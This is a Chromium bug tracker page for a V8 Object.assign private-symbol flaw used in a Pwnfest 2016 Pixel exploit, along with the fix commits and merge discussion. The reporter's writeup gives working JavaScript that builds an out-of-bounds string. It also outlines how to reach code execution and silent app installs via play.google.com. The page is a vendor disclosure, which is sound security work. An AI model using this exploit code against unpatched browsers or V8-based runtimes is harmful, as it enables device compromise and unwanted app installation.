Issue metadata
Sign in to add a comment
|
Pwnfest 2016: Chrome V8 Private Property Re-assign issue (bug in fast-path of Object.assign) |
||||||||||||||||||||||||||
Issue description
pwnfest v8 bug, used in Pixel exploit. Here is the writeup from the reporter:
1.The Bug
In v8, private symbols are used as key to store private property in object, they shouldn't have been access by user javascript, But there is a seemingly trivial logical bug in FastAssign, this function hasn't filtered the keys which are private symbols which can be used to re-assign private properties.
MUST_USE_RESULT Maybe<bool> FastAssign(Handle<JSReceiver> to,
Handle<Object> next_source) {
// Non-empty strings are the only non-JSReceivers that need to be handled
// explicitly by Object.assign.
if (!next_source->IsJSReceiver()) {
return Just(!next_source->IsString() ||
String::cast(*next_source)->length() == 0);
}
// If the target is deprecated, the object will be updated on first store. If
// the source for that store equals the target, this will invalidate the
// cached representation of the source. Preventively upgrade the target.
// Do this on each iteration since any property load could cause deprecation.
if (to->map()->is_deprecated()) {
JSObject::MigrateInstance(Handle<JSObject>::cast(to));
}
Isolate* isolate = to->GetIsolate();
Handle<Map> map(JSReceiver::cast(*next_source)->map(), isolate);
if (!map->IsJSObjectMap()) return Just(false);
if (!map->OnlyHasSimpleProperties()) return Just(false);
Handle<JSObject> from = Handle<JSObject>::cast(next_source);
if (from->elements() != isolate->heap()->empty_fixed_array()) {
return Just(false);
}
Handle<DescriptorArray> descriptors(map->instance_descriptors(), isolate);
int length = map->NumberOfOwnDescriptors();
bool stable = true;
for (int i = 0; i < length; i++) {
Handle<Name> next_key(descriptors->GetKey(i), isolate); ----------------->hasn't filter the keys that are private symbols.
Handle<Object> prop_value;
// Directly decode from the descriptor array if |from| did not change shape.
if (stable) {
PropertyDetails details = descriptors->GetDetails(i);
if (!details.IsEnumerable()) continue;
if (details.kind() == kData) {
if (details.location() == kDescriptor) {
prop_value = handle(descriptors->GetValue(i), isolate);
} else {
Representation representation = details.representation();
FieldIndex index = FieldIndex::ForDescriptor(*map, i);
prop_value = JSObject::FastPropertyAt(from, representation, index);
}
} else {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, prop_value, JSReceiver::GetProperty(from, next_key),
Nothing<bool>());
stable = from->map() == *map;
}
} else {
// If the map did change, do a slower lookup. We are still guaranteed that
// the object has a simple shape, and that the key is a name.
LookupIterator it(from, next_key, from,
LookupIterator::OWN_SKIP_INTERCEPTOR);
if (!it.IsFound()) continue;
DCHECK(it.state() == LookupIterator::DATA ||
it.state() == LookupIterator::ACCESSOR);
if (!it.IsEnumerable()) continue;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, prop_value, Object::GetProperty(&it), Nothing<bool>());
}
LookupIterator it(to, next_key, to);
bool call_to_js = it.IsFound() && it.state() != LookupIterator::DATA;
Maybe<bool> result = Object::SetProperty(
&it, prop_value, STRICT, Object::CERTAINLY_NOT_STORE_FROM_KEYED);
if (result.IsNothing()) return result;
if (stable && call_to_js) stable = from->map() == *map;
}
return Just(true);
}
2. Exploit the Bug
The bug is trivial and the exploit is a little difficult. The main step is as follows:
step 1:make an out-of-bound string, Information disclosure
some JS functions have two private properties whoes keys are class_start_position_symbol and class_end_position_symbol
ggong@ggong-pc:~/ssd1/v8/out/ia32.debug$ ./d8 --allow-natives-syntax -e "%DebugPrint(eval('class x extends Array{}'))"
DebugPrint: 0x4420c88d: [Function]
- map = 0x5820cfb9 [FastProperties]
- prototype = 0x3af646ed
- elements = 0x3af08125 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x3af779fd <SharedFunctionInfo x>
- name = 0x3af2512d <String[1]: x>
- formal_parameter_count = 0
- context = 0x3af63469 <FixedArray[177]>
- literals = 0x3af09841 <FixedArray[1]>
- code = 0x4b60a301 <Code: BUILTIN>
- properties = {
#length: 0x3af51bb9 <AccessorInfo> (accessor constant)
#name: 0x3af51bf1 <AccessorInfo> (accessor constant)
#prototype: 0x3af51c29 <AccessorInfo> (accessor constant)
0x3af092a1 <Symbol: home_object_symbol>: 0x4420c8b1 <a x with map 0x5820cf8d> (data field at offset 0)
0x3af0910d <Symbol: class_start_position_symbol>: 0 (data field at offset 1) ------------->private property
0x3af090d5 <Symbol: class_end_position_symbol>: 23 (data field at offset 2) ------------->private property
}
These two private properties can be re-assigned by Object.assign. when toString of the function is called, an oob string is generated. We can get the ability of oob read by this oob string. the sample code is as follows:
function getHiddenValue(){
var obj = {};
var oob = "/re/";
//oob = oob.replace("re","*".repeat(0x2000));
oob = oob.replace("re","*".repeat(0x100000));
var str = 'class x extends Array{'+oob+"}";
var fun = eval(str);
Object.assign(obj,fun);
return obj;
}
function makeOobString(){
var hiddenValue = getHiddenValue();
var str = 'class x extends Array{}';
var fun = eval(str);
Object.assign(fun,hiddenValue);
var oobString = fun.toString();
return oobString;
}
step 2: convert oob read to oob write
How to convert an oob read bug to oob write ??? I'll explain it in the following code which is the implementatin of javascript function escape.
static MaybeHandle<String> EscapePrivate(Isolate* isolate,
Handle<String> string) { ------------------------------->assume the string is an oob string we constructed above.
DCHECK(string->IsFlat());
int escaped_length = 0;
int length = string->length();
{
DisallowHeapAllocation no_allocation;
Vector<const Char> vector = string->GetCharVector<Char>();
for (int i = 0; i < length; i++) { ------------------------>the length of the destination string is calculated here.
uint16_t c = vector[i];
if (c >= 256) {
escaped_length += 6;
} else if (IsNotEscaped(c)) {
escaped_length++;
} else {
escaped_length += 3;
}
// We don't allow strings that are longer than a maximal length.
DCHECK(String::kMaxLength < 0x7fffffff - 6); // Cannot overflow.
if (escaped_length > String::kMaxLength) break; // Provoke exception.
}
}
// No length change implies no change. Return original string if no change.
if (escaped_length == length) return string;
Handle<SeqOneByteString> dest;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, dest, isolate->factory()->NewRawOneByteString(escaped_length),--------------->allocated a string using the length calulated before, but this the functin NewRawOneByteString May modify the oob string, which lead to the required length is larger than the calculated escaped_length;
String);
int dest_position = 0;
{
DisallowHeapAllocation no_allocation;
Vector<const Char> vector = string->GetCharVector<Char>();
for (int i = 0; i < length; i++) {
uint16_t c = vector[i];
if (c >= 256) {
dest->SeqOneByteStringSet(dest_position, '%'); ------------------>The oob write will occur here
dest->SeqOneByteStringSet(dest_position + 1, 'u');
dest->SeqOneByteStringSet(dest_position + 2, HexCharOfValue(c >> 12));
dest->SeqOneByteStringSet(dest_position + 3,
HexCharOfValue((c >> 8) & 0xf));
dest->SeqOneByteStringSet(dest_position + 4,
HexCharOfValue((c >> 4) & 0xf));
dest->SeqOneByteStringSet(dest_position + 5, HexCharOfValue(c & 0xf));
dest_position += 6;
} else if (IsNotEscaped(c)) {
dest->SeqOneByteStringSet(dest_position, c);
dest_position++;
} else {
dest->SeqOneByteStringSet(dest_position, '%');
dest->SeqOneByteStringSet(dest_position + 1, HexCharOfValue(c >> 4));
dest->SeqOneByteStringSet(dest_position + 2, HexCharOfValue(c & 0xf));
dest_position += 3;
}
}
}
return dest;
}
step 3:oob write to arbitrary code execution
The oob write mentioned above can be used to overwrite an JSArrayBuffer object so that we can get arbitrary read/write, it's easy to overwirte the jit code to get arbitrary code execution.
step 4:install apps
RCE2UXSS, inject javascript to play.google.com to install any app;
step 5:launch apps
inline hook processingUserGesture and utilizeUserGesture to bypass guesture detection, use intent scheme to launch the installed app.
,
Nov 11 2016
Attribution: "Guang Gong of Alpha Team Of Qihoo 360"
,
Nov 11 2016
,
Nov 11 2016
,
Nov 11 2016
,
Nov 11 2016
Assigning to verwaest@.
,
Nov 11 2016
,
Nov 11 2016
,
Nov 11 2016
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/135b9f9360342089de151990a7bf61c31caa6f1f commit 135b9f9360342089de151990a7bf61c31caa6f1f Author: verwaest <verwaest@chromium.org> Date: Fri Nov 11 15:04:49 2016 Make private symbols non-enumerable Methods in the runtime that enumerate over properties should never deal with private symbols. Most commonly such methods only loop over enumerable properties. This fix avoids accidentally handling private symbols in methods that only deal with enumerable properties. Methods that need to look at non-enumerable properties as well still have to manually filter private symbols (e.g., the KeyAccumulator). BUG= chromium:664411 Review-Url: https://codereview.chromium.org/2499593002 Cr-Commit-Position: refs/heads/master@{#40932} [modify] https://crrev.com/135b9f9360342089de151990a7bf61c31caa6f1f/src/lookup.cc [modify] https://crrev.com/135b9f9360342089de151990a7bf61c31caa6f1f/src/property.h [modify] https://crrev.com/135b9f9360342089de151990a7bf61c31caa6f1f/test/mjsunit/harmony/private.js
,
Nov 11 2016
,
Nov 11 2016
,
Nov 11 2016
,
Nov 11 2016
,
Nov 11 2016
,
Nov 11 2016
LGTM for merging into M54.
,
Nov 11 2016
Approving merge to M55 branch 2883. Please merge ASAP. Thank you.
,
Nov 11 2016
I'd presume we're waiting for 55 for this, please let Alex and I know if not.
,
Nov 11 2016
No, we will probably want to go for M54 (since M55 is three weeks away). Lets have Andrew confirm what we should do here.
,
Nov 11 2016
Will merge on Monday.
,
Nov 12 2016
,
Nov 14 2016
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/942604dfb2895cf0e56173b271e66804ff41478a commit 942604dfb2895cf0e56173b271e66804ff41478a Author: verwaest <verwaest@chromium.org> Date: Mon Nov 14 09:16:15 2016 Add test for making private symbols non-enumerable BUG= chromium:664411 Review-Url: https://codereview.chromium.org/2498963002 Cr-Commit-Position: refs/heads/master@{#40950} [add] https://crrev.com/942604dfb2895cf0e56173b271e66804ff41478a/test/mjsunit/regress/regress-private-enumerable.js
,
Nov 14 2016
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/58d695397906767c3d0d85ac012e1ee0baad2bee commit 58d695397906767c3d0d85ac012e1ee0baad2bee Author: Toon Verwaest <verwaest@chromium.org> Date: Mon Nov 14 09:49:23 2016 Merged: Squashed multiple commits. Merged: Add test for making private symbols non-enumerable Revision: 942604dfb2895cf0e56173b271e66804ff41478a Merged: Make private symbols non-enumerable Revision: 135b9f9360342089de151990a7bf61c31caa6f1f BUG= chromium:664411 , chromium:664411 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true R=cbruni@chromium.org Review URL: https://codereview.chromium.org/2497213003 . Cr-Commit-Position: refs/branch-heads/5.4@{#83} Cr-Branched-From: 5ce282769772d94937eb2cb88eb419a6890c8b2d-refs/heads/5.4.500@{#2} Cr-Branched-From: ad07b49d7b47b40a2d6f74d04d1b76ceae2a0253-refs/heads/master@{#38841} [modify] https://crrev.com/58d695397906767c3d0d85ac012e1ee0baad2bee/src/lookup.cc [modify] https://crrev.com/58d695397906767c3d0d85ac012e1ee0baad2bee/src/property.h [modify] https://crrev.com/58d695397906767c3d0d85ac012e1ee0baad2bee/test/mjsunit/harmony/private.js [add] https://crrev.com/58d695397906767c3d0d85ac012e1ee0baad2bee/test/mjsunit/regress/regress-private-enumerable.js
,
Nov 14 2016
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/551fc556ace04a947ee20bd1ab8df36e1bd3c963 commit 551fc556ace04a947ee20bd1ab8df36e1bd3c963 Author: Toon Verwaest <verwaest@chromium.org> Date: Mon Nov 14 09:52:33 2016 Merged: Squashed multiple commits. Merged: Add test for making private symbols non-enumerable Revision: 942604dfb2895cf0e56173b271e66804ff41478a Merged: Make private symbols non-enumerable Revision: 135b9f9360342089de151990a7bf61c31caa6f1f BUG= chromium:664411 , chromium:664411 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true R=cbruni@chromium.org Review URL: https://codereview.chromium.org/2498973002 . Cr-Commit-Position: refs/branch-heads/5.5@{#40} Cr-Branched-From: 3cbd5838bd8376103daa45d69dade929ee4e0092-refs/heads/5.5.372@{#1} Cr-Branched-From: b3c8b0ce2c9af0528837d8309625118d4096553b-refs/heads/master@{#40015} [modify] https://crrev.com/551fc556ace04a947ee20bd1ab8df36e1bd3c963/src/lookup.cc [modify] https://crrev.com/551fc556ace04a947ee20bd1ab8df36e1bd3c963/src/property.h [modify] https://crrev.com/551fc556ace04a947ee20bd1ab8df36e1bd3c963/test/mjsunit/harmony/private.js [add] https://crrev.com/551fc556ace04a947ee20bd1ab8df36e1bd3c963/test/mjsunit/regress/regress-private-enumerable.js
,
Nov 15 2016
Seems like this is already merged to M54 and M55 at #22 and #23. If there is nothing is pending, please remove "Merge-Approved-54" and"Merge-Approved-55" labels. Thank you.
,
Nov 15 2016
,
Nov 29 2016
,
Dec 8 2016
Needed for Node.js 6.x (V8 5.1) as well. Backport needed in Node. Node 4.x is not affected.
,
Jan 4 2017
,
Jan 4 2017
hello, guys, will you fix the issue that any compromised render process can install app through play.goolge.com ?
,
Jan 5 2017
,
Jan 5 2017
Hey Guang, some changes were made to the Google Play app installation process that can mitigate the risk of issues like this and we're still exploring other potential improvements
,
Jan 6 2017
Hi jlarimer, could you give me some detail of the mitigation or give me a link about it, I'd like to understand it, thanks.
,
Feb 18 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Apr 25 2018
,
Jan 4
|
|||||||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||||||
Comment 1 by awhalley@chromium.org
, Nov 11 2016163 KB
163 KB Download